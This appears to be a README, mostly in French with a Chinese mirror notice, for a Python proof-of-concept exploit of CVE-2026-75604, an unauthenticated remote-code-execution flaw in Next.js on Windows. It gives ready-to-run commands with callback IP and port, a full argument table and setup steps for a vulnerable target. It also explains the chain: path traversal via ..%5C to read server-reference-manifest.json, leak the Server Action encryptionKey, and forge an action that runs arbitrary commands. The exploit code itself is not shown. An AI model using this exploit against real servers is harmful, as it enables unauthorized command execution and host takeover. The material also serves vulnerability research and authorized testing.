
Preuve de concept d'exploitation pour CVE-2026-75604, une RCE non authentifiée dans Next.js hébergé sur Windows via un traversement de chemin de cache et une Server Action falsifiée, destinée aux tests de sécurité autorisés.
Preuve de concept Python pour CVE-2026-75604, une vulnérabilité d'exécution de commande à distance non authentifiée dans les applications Next.js hébergées sur Windows qui utilisent à la fois le Pages Router et l'App Router sans Cache Components.

>=13.4 <15.5.24 ou >=16.0 <16.3.3Validé avec [email protected].
python -m pip install -r requirements.txt
python poc.py --target http://TARGET:3000 --callback-ip CALLBACK_IP --pages-cache-path /PATH/TO/PAGES_ISR_INSTANCE --app-cache-path /PATH/TO/APP_CACHE_INSTANCE
Le chemin de la Server Action est par défaut /. Utilisez --action-field lorsque son formulaire comporte plusieurs champs.
Arguments obligatoires :
--target URL : URL de base de l'application Next.js--callback-ip ADDRESS : adresse IPv4 accessible par la cible--pages-cache-path PATH : page ISR dynamique existante du Pages Router--app-cache-path PATH : page dynamique existante de l'App Router adossée au cache système de fichiersArguments facultatifs :
--command COMMAND : commande à exécuter ; par défaut whoami--action-path PATH : page de l'App Router contenant la Server Action compatible ; par défaut /--action-field NAME : champ de formulaire consommé par l'action ; détecté automatiquement lorsqu'il est sans ambiguïté--callback-port PORT : port de rappel ; par défaut 4331--listen-address ADDRESS : adresse de liaison locale du rappel ; par défaut 0.0.0.0--timeout SECONDS : délai d'attente des requêtes et du rappel ; par défaut 20--insecure : désactive la vérification du certificat TLSL'application facultative target/ épingle [email protected] et utilise le serveur de production standard de Next.js :
cd target
npm ci
npm run build
npm start
Exécutez le PoC dans un autre terminal :
python poc.py --target http://127.0.0.1:4330 --callback-ip 127.0.0.1 --pages-cache-path /pages-cache/seed --app-cache-path /app-cache/seed
La cible facultative fournit les routes requises et une Server Action compatible sur /.
Ce PoC est fourni à des fins pédagogiques, de recherche en sécurité et de tests autorisés uniquement. Utilisez-le uniquement sur des systèmes que vous possédez ou pour lesquels vous avez une autorisation explicite de test.
Crédit à evolutionstorm.
Ce PoC a été reconstruit indépendamment à partir de l'avis public et du correctif Next.js.
本仓库为 CVE-2026-75604 利用 PoC 的中转分发镜像(英文使用说明见上方上游原版 README)。内容由上游公开 PoC 镜像而来,仅作存档与分发用途。PoC 仅供安全研究、漏洞验证与授权测试,请勿用于未授权目标。
AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:H>=13.4 <15.5.24, >=16.0 <16.3.315.5.24 / 16.3.3Principe fondamental : FileSystemCache sur Windows ne traite pas la barre oblique inversée (\) comme un séparateur de chemin à échapper ; un attaquant peut utiliser l'encodage ..%5C pour traverser le chemin du cache, lire le fichier privé server-reference-manifest.json, divulguer la encryptionKey de la Server Action, puis falsifier une requête de Server Action liée par fermeture pour exécuter des commandes arbitraires.
python -m pip install -r requirements.txt (cryptography, requests)Validé sur [email protected].
python poc.py --target http://TARGET:3000 --callback-ip CALLBACK_IP \
--pages-cache-path /PATH/TO/PAGES_ISR_INSTANCE \
--app-cache-path /PATH/TO/APP_CACHE_INSTANCE
| 参数 | 必填 | 说明 |
|---|---|---|
--target URL | Oui | URL de base de l'application Next.js |
--callback-ip ADDRESS | Oui | Adresse IPv4 accessible par la cible |
--pages-cache-path PATH | Oui | Page ISR dynamique existante du Pages Router (point d'ancrage de traversée) |
--app-cache-path PATH | Oui | Page dynamique existante de l'App Router utilisant le cache système de fichiers |
--command COMMAND | Non | Commande à exécuter (par défaut whoami) |
--action-path PATH | Non | Page de l'App Router contenant la Server Action compatible (par défaut /) |
--action-field NAME | Non | Champ métier consommé par le formulaire d'action (détection automatique s'il est unique) |
--callback-port PORT | Non | Port de rappel (par défaut 4331) |
--listen-address ADDRESS | Non | Adresse de liaison locale du rappel (par défaut 0.0.0.0) |
--timeout SECONDS | Non | Délai d'attente des requêtes et du rappel (par défaut 20) |
--insecure | Non | Désactive la vérification du certificat TLS |
Le dossier target/ du dépôt fournit une application d'exemple reproductible (épinglée sur [email protected], serveur de production standard) :
cd target
npm ci
npm run build
npm start
Exécutez dans un autre terminal :
python poc.py --target http://127.0.0.1:4330 --callback-ip 127.0.0.1 \
--pages-cache-path /pages-cache/seed --app-cache-path /app-cache/seed
La cible d'exemple fournit les routes requises et une Server Action compatible sur /.
Ce PoC est fourni à des fins pédagogiques, de recherche en sécurité et de tests autorisés uniquement. Exécutez-le uniquement sur des systèmes que vous possédez ou pour lesquels vous disposez d'une autorisation explicite. L'exploitation exécute des commandes arbitraires sur l'hôte Windows cible ; testez dans un environnement jetable.
LICENSE).